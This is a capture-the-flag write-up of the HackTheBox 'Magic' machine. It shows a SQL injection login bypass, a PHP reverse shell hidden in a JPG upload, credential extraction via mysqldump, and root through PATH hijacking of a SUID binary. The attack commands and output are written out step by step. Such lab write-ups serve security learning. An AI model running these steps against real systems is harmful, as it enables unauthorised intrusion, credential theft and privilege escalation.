Magic Writeup (HackTheBox)

Magic Writeup (HackTheBox)

2020, May 07    

Enumeration

Starting off with a little nmap, we see SSH and HTTP open.

root@kali:~/Documents/HackTheBox/Magic# nmap -Pn -sS -n -p1-10000 -T4 -sV 10.10.10.185 -vv
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
...

A quick check for OpenSSH v7.6p1 vulnerabilities doesn’t seem to give us anything, so let’s move on to port 80.

At first glance, there are just a bunch of images on the site - nothing too interesting. Of note in the source code, however, are references to images located in images/uploads. This will be useful later.

image-20200506223300683

Next, in the bottom left corner there is a login button which will presumably let us upload images, so let’s try that.

image-20200506223058428

Foothold

Now, we are presented with a very simple login dialog box. The login process appears to be pretty standard in that it POSTs a username and password to the PHP backend.

image-20200506223509027

Since we don’t know the username or password, let’s try SQL injection in both fields. The idea here is that the PHP code in the back may look something like this:

SELECT * FROM login WHERE username='$username' AND password='$password'

If not properly sanitized, since we control the $username and $password variables, we could get the query to look like this:

SELECT * FROM login WHERE username='' OR 1=1;' AND password='$password'

To do so, we can supply ' OR 1=1; as the username and something arbitrary e.g. abc as the password.

image-20200506225000773

With a successful login, we are now presented with an upload dialog:

image-20200506224821222

So let’s try and use this to our advantage to upload something useful to the server. In this case, we want to upload some PHP code that will give us remote code execution. While there are many ways to do this, I chose to try and upload a PHP reverse shell which can be found here.

First, let’s try uploading the plain PHP file containing the reverse shell.

root@kali:~/Documents/HackTheBox/Magic# cat parsnip.php 
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.15.65';  // CHANGE THIS
$port = 443;       // CHANGE THIS
...

Uploading parsnip.php gives us the following error:

fail1

OK, so let’s try uploading it as parsnip.jpg.

root@kali:~/Documents/HackTheBox/Magic# mv parsnip.php parsnip.jpg
root@kali:~/Documents/HackTheBox/Magic# cat parsnip.jpg 
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.15.65';  // CHANGE THIS
$port = 443;       // CHANGE THIS

We get the following error:

fail2

Interesting, so it must be validating something more than the file extension… perhaps the magic bytes in the file header? To test this theory, I grabbed a sample JPG from here, and then appened the PHP code to the end of the file.

root@kali:~/Documents/HackTheBox/Magic# wget https://upload.wikimedia.org/wikipedia/commons/thumb/b/b2/Parsnips.JPG/320px-Parsnips.JPG -O parsnip_pic.jpg
root@kali:~/Documents/HackTheBox/Magic# cat parsnip.jpg >> parsnip_pic.jpg 
root@kali:~/Documents/HackTheBox/Magic# tail -n 10 parsnip_pic.jpg 

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>

Now, let’s try uploading parsnip_pic.jpg. We can see that it successfully uploaded in the top left corner.

upload_success

Let’s set up a netcat listener on port 443, and to confirm our upload, let’s navigate to http://10.10.10.185/images/uploads/parsnip_pic.jpg (remeber the image references we saw on the homepage).

root@kali:~/Documents/HackTheBox/Magic# nc -nlvp 443
listening on [any] 443 ...

image-20200506232422909

So the image upload worked, but our PHP code didn’t execute. To fix this, let’s rename and reupload the file as parsnip_pic.php.jpg.

root@kali:~/Documents/HackTheBox/Magic# mv parsnip_pic.jpg parsnip_pic.php.jpg

Then, with our netcat still listening, let’s browse to http://10.10.10.185/images/uploads/parsnip_pic.php.jpg:

root@kali:~/Documents/HackTheBox/Magic# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.15.65] from (UNKNOWN) [10.10.10.185] 44334
Linux ubuntu 5.3.0-42-generic #34~18.04.1-Ubuntu SMP Fri Feb 28 13:42:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 20:32:21 up  5:48,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
theseus  pts/7    10.10.15.65      19:15    1:16m  0.01s  0.01s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

And with that, we have our foothold done and we can move on to trying to get a user shell.

User

$ ls -al /home
total 12
drwxr-xr-x  3 root    root    4096 Oct 15  2019 .
drwxr-xr-x 24 root    root    4096 Mar 20 15:27 ..
drwxr-xr-x 15 theseus theseus 4096 May  6 15:44 theseus
$ ls -al /home/theseus
total 84
drwxr-xr-x 15 theseus theseus 4096 May  6 15:44 .
drwxr-xr-x  3 root    root    4096 Oct 15  2019 ..
-rw-------  1 theseus theseus 7334 Apr 15 23:50 .ICEauthority
lrwxrwxrwx  1 theseus theseus    9 Oct 21  2019 .bash_history -> /dev/null
-rw-r--r--  1 theseus theseus  220 Oct 15  2019 .bash_logout
-rw-r--r--  1 theseus theseus   15 Oct 21  2019 .bash_profile
-rw-r--r--  1 theseus theseus 3771 Oct 15  2019 .bashrc
drwxrwxr-x 13 theseus theseus 4096 Mar 13 05:57 .cache
drwx------ 13 theseus theseus 4096 Oct 22  2019 .config
drwx------  3 theseus theseus 4096 May  6 15:19 .gnupg
drwx------  3 theseus theseus 4096 Oct 21  2019 .local
drwx------  2 theseus theseus 4096 May  6 15:41 .ssh
drwxr-xr-x  2 theseus theseus 4096 Oct 22  2019 Desktop
drwxr-xr-x  2 theseus theseus 4096 Oct 22  2019 Documents
drwxr-xr-x  2 theseus theseus 4096 May  6 15:09 Downloads
drwxr-xr-x  2 theseus theseus 4096 Oct 22  2019 Music
drwxr-xr-x  2 theseus theseus 4096 Oct 22  2019 Pictures
drwxr-xr-x  2 theseus theseus 4096 Oct 22  2019 Public
drwxr-xr-x  2 theseus theseus 4096 Oct 22  2019 Templates
drwxr-xr-x  2 theseus theseus 4096 Oct 22  2019 Videos
-r--------  1 theseus theseus   33 May  6 14:45 user.txt

We can see that there is a user theseus but only they can access the user flag. Let’s start by enumerating the website configuration files for any credentials.

$ ls -al /var/www/
total 16
drwxr-xr-x  4 root     root     4096 Mar 13 06:07 .
drwxr-xr-x 15 root     root     4096 Oct 15  2019 ..
drwxr-xr-x  4 www-data www-data 4096 May  5 14:57 Magic
drwxr-xr-x  2 root     root     4096 Dec  3 07:55 html
$ ls -al /var/www/Magic
total 332
drwxr-xr-x 4 www-data www-data   4096 May  5 14:57 .
drwxr-xr-x 4 root     root       4096 Mar 13 06:07 ..
-rwx---r-x 1 www-data www-data    162 Oct 18  2019 .htaccess
drwxrwxr-x 6 www-data www-data   4096 Jun  6  2019 assets
-rw-r--r-- 1 www-data www-data    881 Oct 16  2019 db.php5
-rw-r--r-- 1 www-data www-data   1111 May  5 14:53 e.php
-rw-r--r-- 1 www-data www-data   1112 May  5 14:46 exploit.php
-rw-r--r-- 1 www-data www-data     43 May  5 14:12 htb.php
-rw-r--r-- 1 www-data www-data     26 May  5 14:00 htb.php^
drwxr-xr-x 4 www-data www-data   4096 May  5 14:29 images
-rw-rw-r-- 1 www-data www-data   4528 Oct 22  2019 index.php
-rwxrwxrwx 1 www-data www-data 222551 May  4 14:45 linpeas.sh
-rw-r--r-- 1 www-data www-data   5539 Oct 22  2019 login.php
-rw-r--r-- 1 www-data www-data     72 Oct 18  2019 logout.php
-rw-r--r-- 1 www-data www-data  15744 May  5 13:34 pwnshell.php
-rw-r--r-- 1 www-data www-data   5493 May  5 13:26 reverse.php
-rw-r--r-- 1 www-data www-data    207 May  5 14:42 s.elf
-rw-r--r-- 1 www-data www-data    207 May  5 14:37 shell.elf
-rw-r--r-- 1 www-data www-data   4886 May  5 13:22 shell.php
-rw-r--r-- 1 www-data www-data    123 May  5 14:21 shell.sh
-rw-r--r-- 1 www-data www-data   4520 Oct 22  2019 upload.php

While there seem to be a lot of files from other HackTheBox users, there is a file called db.php5 which looks interesting.

$ cat /var/www/Magic/db.php5
...
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'i********s'
...

Here we have a password for a local MySQL database used by the website (presumably to check the login information given). Let’s try and see what the password that we bypassed using SQL injection actually is. To do this, we can use mysqldump which is installed on the remote host. Note the lack of spaces between the flags and arguments.

$ mysqldump -utheseus -pi********s -A
...
INSERT INTO `login` VALUES (1,'admin','T********g');
...

So now we have two possible passwords that may work for theseus

  • i********s
  • T********g

We can try logging in over SSH:

root@kali:~/Documents/HackTheBox/Magic# ssh theseus@10.10.10.185
theseus@10.10.10.185: Permission denied (publickey).

Well that’s interesting! It looks like we can only login using key-based authentication. A quick check of the SSHD config validates this.

$ cat /etc/ssh/sshd_config
...
PasswordAuthentication no
PermitEmptyPasswords no
...

Let’s try locally switching users using the su command.

$ su theseus
su: must be run from a terminal

Looks like our current reverse shell isn’t enough, so let’s try upgrading our shell using Python’s pty module, re-issuing the su command, and trying both the passwords we have.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/$ whoami
whoami
www-data
www-data@ubuntu:/$ su theseus
su theseus
Password: i********s

su: Authentication failure
www-data@ubuntu:/$ su theseus
su theseus
Password: T********g

theseus@ubuntu:/$ whoami
whoami
theseus
theseus@ubuntu:/$ cat /home/theseus/user.txt
cat /home/theseus/user.txt
<FLAG HERE>

Now that we’re logged in as theseus, we can grab the user flag and move on to root.

Privilege Escalation

One of my first steps at this point is to usually run an enumeration script such as LinEnum.sh. Of course, if I cared about things such as logs I would definitely take a less noisy more methodical approach to this. To get LinEnum over to the remote host, I set up a webserver on my Kali box and used wget on the remote end to grab the file.

theseus@ubuntu:/tmp/parsnips$ wget http://10.10.15.65:8000/LinEnum.sh
theseus@ubuntu:/tmp/parsnips$ chmod +x LinEnum.sh

After parsing through the output, I came across the following interesting artifact:

[-] SUID files:
...
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo
...

This binary is not a standard / default one that is included with Linux distributions, but it will run as root regardless of who executes it. Furthermore, since we are in the users group, we do have execution rights.

Let’s take a closer look at this binary and what it does. After executing /bin/sysinfo, it appears that we get various system statistics such as processor information and the amount of free RAM. How does this program actually get that information? By running strings against the binary, we can see the following strings:

theseus@ubuntu:/$ strings /bin/sysinfo
...
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
...

So it looks like the binary just makes calls to lshw, fdisk, cat and free to display the relevant information. Let’s confirm this using the strace utility which is installed on the remote host. To do so we will look for exec / execve system calls being made.

theseus@ubuntu:/$ strace -f /bin/sysinfo 2>&1 | grep exec
strace -f /bin/sysinfo 2>&1 | grep exec
execve("/bin/sysinfo", ["/bin/sysinfo"], 0x7fff8c96ba58 /* 23 vars */) = 0
[pid 15096] execve("/bin/sh", ["sh", "-c", "lshw -short"], 0x7ffe3ec7ae28 /* 23 vars */ <unfinished ...>
[pid 15096] <... execve resumed> )      = 0
[pid 15097] execve("/usr/bin/lshw", ["lshw", "-short"], 0x563202580b68 /* 23 vars */) = 0
[pid 15097] read(3, "t cgroup rw,nosuid,nodev,noexec,"..., 1024) = 1024
[pid 15098] execve("/bin/sh", ["sh", "-c", "fdisk -l"], 0x7ffe3ec7ae28 /* 23 vars */ <unfinished ...>
[pid 15098] <... execve resumed> )      = 0
[pid 15099] execve("/sbin/fdisk", ["fdisk", "-l"], 0x561316a93b68 /* 23 vars */) = 0
[pid 15100] execve("/bin/sh", ["sh", "-c", "cat /proc/cpuinfo"], 0x7ffe3ec7ae28 /* 23 vars */ <unfinished ...>
[pid 15100] <... execve resumed> )      = 0
[pid 15101] execve("/bin/cat", ["cat", "/proc/cpuinfo"], 0x564688625b78 /* 23 vars */) = 0
[pid 15102] execve("/bin/sh", ["sh", "-c", "free -h"], 0x7ffe3ec7ae28 /* 23 vars */ <unfinished ...>
[pid 15102] <... execve resumed> )      = 0
[pid 15103] execve("/usr/bin/free", ["free", "-h"], 0x55986e7ecb68 /* 23 vars */) = 0

Yes, we have confirmed that these executables are the source of the information. What’s interesting about these calls, however, is that they are not being called with their absolute path. This means that the OS is searching the PATH to find valid binaries to execute. To use this to our advantage, we can put our own version of one of these binaries on the PATH being searched, and it will be executed as root.

I will be creating my own version of the free binary. While we could put in a command to get a us a reverse shell as root (e.g. with Python), since I only want the flag, I will put a very simple command in the file to cat the flag in to another file.

theseus@ubuntu:/$ mkdir /tmp/parsnip
theseus@ubuntu:/$ cd /tmp/parsnip
theseus@ubuntu:/tmp/parsnip$ touch stuff.txt                           
theseus@ubuntu:/tmp/parsnip$ echo -e '#!/bin/sh\ncat /root/*.txt >> /tmp/parsnip/stuff.txt' > free
theseus@ubuntu:/tmp/parsnip$ cat free
#!/bin/sh
cat /root/*.txt >> /tmp/parsnip/stuff.txt
theseus@ubuntu:/tmp/parsnip$ chmod +x free
theseus@ubuntu:/tmp/parsnip$ ls -al
total 12
drwxrwxr-x 2 theseus theseus 4096 May  7 09:54 .
drwxrwxrwt 5 root    root    4096 May  7 09:53 ..
-rwxrwxr-x 1 theseus theseus   52 May  7 09:54 free
-rw-rw-r-- 1 theseus theseus    0 May  7 09:53 stuff.txt

With all the pre-work done, we simply need to execute /bin/sysinfo with our current directory as first in the PATH so that it will find and execute our free first.

theseus@ubuntu:/tmp/parsnip$ PATH=.:$PATH /bin/sysinfo
...
theseus@ubuntu:/tmp/parsnip$ cat stuff.txt
e28...2b9

And with the root flag in hand, we can now finish by cleaning up our files.